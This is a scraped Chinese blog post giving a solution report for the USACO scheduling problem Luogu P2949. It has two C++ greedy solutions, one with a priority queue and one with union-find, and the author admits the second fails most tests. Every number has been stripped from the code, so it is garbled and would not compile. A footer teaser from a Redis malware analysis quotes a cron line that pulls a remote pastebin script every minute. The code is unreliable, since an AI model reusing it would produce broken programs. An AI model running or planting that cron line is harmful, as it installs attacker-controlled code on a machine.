洛谷P2949 工作调度Work Scheduling [USACO09OPEN] 贪心
正解:贪心+并查集(umm不用并查集也成qwq
解题报告:
水题?主要感觉想到了俩方法然后还只实现了一个,怕忘了所以想着开个新坑记录下qwq
然后先放下传送门QAQ(哦这题和supermarket,双倍经验qwq
第一个是贪心+单调队列,和蔬菜&supermarket这两题都挺像的一个想法,就是能往后安排往后安排,因此就先按时间排序然后用个priority_queue就过去辽
第二个是也是贪心但是也许复杂度好看些?不清楚诶QAQ就是用个并查集合并日期,就有点像那个,疯狂的馒头?好了没了,over,有时间再贴代码QAQ
算了先放下第一个的代码趴qwq第二个还没打等打了再放上来QAQ
#include<bits/stdc++.h>
using namespace std;
#define ll long long
#define rp(i,x,y) for(register ll i=x;i<=y;++i) const ll N=+;
ll n,ans;
struct node{ll p,d;}wk[N];
priority_queue<node>Q;
bool operator < (node gd,node gs){return gd.p>gs.p;} ll read()
{
char ch=getchar();ll x=;bool y=;
while(ch!='-' && (ch>'' || ch<''))ch=getchar();
if(ch=='-')ch=getchar(),y=;
while(ch>='' && ch<='')x=(x<<)+(x<<)+(ch^''),ch=getchar();
return y?x:-x;
} inline bool cmp(node gd,node gs){return gd.d<gs.d;} int main()
{
n=read();rp(i,,n)wk[i].d=read(),wk[i].p=read();sort(wk+,wk++n,cmp);
rp(i,,n){if(Q.size()>=wk[i].d){int t=Q.top().p;if(t<wk[i].p)ans+=wk[i].p-t,Q.pop(),Q.push(wk[i]);}else ans+=wk[i].p,Q.push(wk[i]);}
printf("%lld\n",ans);
return ;
}
然后关于方法二,,,,它只能过三个点,一个点RE其他点WA,,,然后supermarket的话从数据范围来说应该不会WA?然而我用的小号不能提交,,,QAQ
然后我就交到vjudge上
然后WA了
然后udebug上居然没有数据下
就很生气
就不想做了 咕咕咕
算了先放下代码存着8
#include<bits/stdc++.h>
using namespace std;
#define ll long long
#define rp(i,x,y) for(register ll i=x;i<=y;++i) const ll N=+;
ll n,ans,fa[N],mx;
struct node{ll p,d;}wk[N]; ll read()
{
char ch=getchar();ll x=;bool y=;
while(ch!='-' && (ch>'' || ch<''))ch=getchar();
if(ch=='-')ch=getchar(),y=;
while(ch>='' && ch<='')x=(x<<)+(x<<)+(ch^''),ch=getchar();
return y?x:-x;
} inline bool cmp(node gd,node gs){return gd.p>gs.p;}
inline ll fd(ll x){return fa[x]==x?fa[x]:fa[x]=fd(fa[x]);} int main()
{
while(cin>>n)
{
ans=;
rp(i,,n)wk[i].p=read(),wk[i].d=read(),mx=max(mx,wk[i].d);sort(wk+,wk++n,cmp);rp(i,,mx)fa[i]=i;
rp(i,,n){ll t=fd(wk[i].d);if(t==)continue;fa[wk[i].d]=wk[i].d-;ans+=wk[i].p;}
printf("%lld\n",ans);
}
return ;
}
QAQQQ
洛谷P2949 工作调度Work Scheduling [USACO09OPEN] 贪心的更多相关文章
- [luoguP2949] [USACO09OPEN]工作调度Work Scheduling(贪心 + 优先队列)
传送门 这个题类似于建筑抢修. 先按照时间排序. 如果当前时间小于任务截止时间就选, 否则,看看当前任务价值是否比已选的任务的最小价值大, 如果是,就替换. 可以用优先队列. ——代码 #includ ...
- 洛谷 P2949 [USACO09OPEN]工作调度Work Scheduling 题解
P2949 [USACO09OPEN]工作调度Work Scheduling 题目描述 Farmer John has so very many jobs to do! In order to run ...
- 洛谷 P2949 [USACO09OPEN]工作调度Work Scheduling
P2949 [USACO09OPEN]工作调度Work Scheduling 题目描述 Farmer John has so very many jobs to do! In order to run ...
- 题解 P2949 【[USACO09OPEN]工作调度Work Scheduling】
P2949 [USACO09OPEN]工作调度Work Scheduling 题目标签是单调队列+dp,萌新太弱不会 明显的一道贪心题,考虑排序先做截止时间早的,但我们发现后面可能会出现价值更高却没有 ...
- [USACO09OPEN] 工作调度Work Scheduling (贪心/堆)
[USACO09OPEN] 工作调度Work Scheduling 题意翻译 约翰有太多的工作要做.为了让农场高效运转,他必须靠他的工作赚钱,每项工作花一个单位时间. 他的工作日从0时刻开始,有10^ ...
- 洛谷P2507 [SCOI2008]配对 题解(dp+贪心)
洛谷P2507 [SCOI2008]配对 题解(dp+贪心) 标签:题解 阅读体验:https://zybuluo.com/Junlier/note/1299251 链接题目地址:洛谷P2507 [S ...
- 洛谷P2460 [SDOI2007]科比的比赛(题解)(贪心+搜索)
科比的比赛(题解)(贪心+搜索) 标签:算法--贪心 阅读体验:https://zybuluo.com/Junlier/note/1301158 贪心+搜索 洛谷题目:P2460 [SDOI2007] ...
- 洛谷$P4040\ [AHOI2014/JSOI2014]$宅男计划 贪心
正解:三分+贪心 解题报告: 传送门$QwQ$ 其实很久以前的寒假就考过了,,,但那时候$gql$没有好好落实,就只写了个二分,并没有二分套三分,就只拿到了$70pts$ #include <b ...
- luogu P2949 [USACO09OPEN]工作调度Work Scheduling
题目描述 Farmer John has so very many jobs to do! In order to run the farm efficiently, he must make mon ...
随机推荐
- 利用百度API(js),怎样通过地址获取经纬度
根据经纬度找到具体地址:http://api.map.baidu.com/geocoder?location=纬度,经度&output=输出格式类型&key=用户密钥如:http:// ...
- 记一次redis病毒分析笔记
起因 偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb| ...
- Ubuntu apt 使用代理
. . . . . 由于一台 Ubuntu 主机无法直接连接外网,但同内网的另一台 Windows 主机可以连接外网,于是在 Win 主机上搭建了代理服务,使 Ubuntu 主机通过代理更新系统. 记 ...
- C# 耗时统计
Stopwatch sw = new Stopwatch(); sw.Restart(); var a = redis.ListRange<UserModel>(key); sw.Stop ...
- 16个富有创意的HTML5 Canvas动画特效集合
HTML5技术正在不断的发展和更新,越来越多的开发者也正在加入HTML5阵营,甚至在移动开发上HTML5的地位也是越来越重要了.HTML5中的大部分动画都是通过Canvas实现,因为Canvas就像一 ...
- Springboot中如何在Utils类中使用@Autowired注入bean
Springboot中如果希望在Utils工具类中,使用到我们已经定义过的Dao层或者Service层Bean,可以如下编写Utils类: 1. 使用@Component注解标记工具类Statisti ...
- java数值比较
import org.junit.Test; public class NumberCompare { /** * 数值比较,以Float为例 */ @Test public void testNam ...
- MyCat(一) - 初体验
前提: 1.安装JDK 2.安装MySQL 3.搭建了MySQL主从 1.下载MyCat,官网:http://www.mycat.io/ wget http://dl.mycat.io/1.6-REL ...
- GLSL数组类型、浮点数Uniform
// 添加shader中的uniform ss->addUniform(new osg::Uniform("test1", false)); //设置shader中的unif ...
- Ubuntu16.04首次root登录设置
一.首次登录root模式设置 当第一次安装并登录Ubuntu16.04系统时,系统默认只能使用guest模式登录.登录系统后,在图像界面的右上方的系统设置中可转换为普通用户模式. 在普通登录模式下,经 ...